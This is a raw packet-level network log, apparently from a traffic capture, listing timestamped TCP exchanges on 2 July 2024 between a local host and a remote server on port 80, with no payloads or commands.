Jul 2, 2024 15:26:09.124365091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124365091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124386072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124387026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124408960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124418974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124428988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124440908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124459028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124474049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124491930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.203890085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.203944921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.203953981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.203980923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.203996897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204011917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204025984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204029083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204046011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204075098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204092979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204102039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204103947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204123020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204133034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204138041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204158068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204161882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204173088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204176903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204194069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204196930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204205990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204212904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204229116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204245090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204267979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204308033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204350948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204365969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204382896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204389095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204400063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204406023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204413891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204438925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204466105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204513073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204534054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204546928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204566002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204575062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204576015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204596043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204608917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204619884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204621077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204644918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204644918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204655886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204662085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204679966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204682112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204690933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204694986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204709053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204722881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204899073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204910994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204929113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204953909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204955101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204972982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204973936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.204991102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.204996109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.205008984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.205010891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.205024958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.205032110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.205049992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.205059052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.205060959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.205074072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.205082893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.205089092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.205096006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.205105066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.205118895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.205121994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.205132008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.205133915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.205156088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.205171108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.211746931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.211760044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.211776972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.211817980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.211826086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.211832047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.211850882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.211860895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.211864948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.211872101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.211884022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.211900949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.211915016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212194920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212204933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212229967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212236881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212241888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212263107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212268114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212275982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212281942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212296009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212296963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212308884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212311983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212327003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212344885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212522030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212563992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212589025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212599993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212631941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212646008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212657928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212682962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212686062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212698936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212706089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212718964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212721109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212733984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212776899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212789059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212805033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212805033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212814093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212841034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212863922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212876081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212894917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212905884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212928057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212932110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212940931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212960005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212970018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212976933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.212980032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.212997913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213010073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213038921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213051081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213083029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213105917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213118076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213135004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213149071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213150024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213160992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213186026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213186979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213200092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213215113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213229895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213234901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213238955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213249922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213259935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213272095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213283062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213299036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213310957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213327885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213341951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213363886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213387966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213399887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213417053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213426113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213438034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213438034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213447094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213454008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213471889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213474989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213483095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213485003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213504076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213511944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213520050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213538885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213604927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213617086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213643074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213654995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213674068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213684082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213709116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213709116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213716030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213725090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213747025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213754892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213762999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213773966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213790894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213799953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213824034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213824987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213840008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213857889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213861942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213870049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213886976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213912010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213926077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213947058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213947058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213954926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213958025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213978052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213982105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.213989973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.213989973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.214013100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.214021921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.214044094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314587116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314636946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314659119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314676046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314687014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314692974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314707041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314717054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314723969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314743042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314754009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314768076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314769030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314784050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314791918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314801931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314802885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314819098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314821959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314838886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314847946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314862013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314874887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314888000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314904928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314924002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314939022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314941883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314953089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.314975977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.314982891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315016031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315028906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315046072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315052986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315057039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315067053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315078020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315080881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315092087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315094948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315109015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315124035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315130949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315144062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315165997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315176010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315179110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315198898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315208912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315212011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315229893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315253019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315260887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315283060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315294027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315301895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315315008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315315008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315327883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315329075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315349102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315351963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315359116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315365076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315382957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315397978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315414906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315454006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315485954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315498114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315524101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315526009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315532923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315536976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315557957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315557957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315573931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315579891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315593004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315602064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315639973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315651894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315671921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315681934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315685034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315701962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315715075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315726042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315741062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315869093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315881014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315901995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315912008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315924883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315931082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315943956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315954924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.315959930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.315978050 CEST	49730	80	192.168.2.4	85.28.47.4
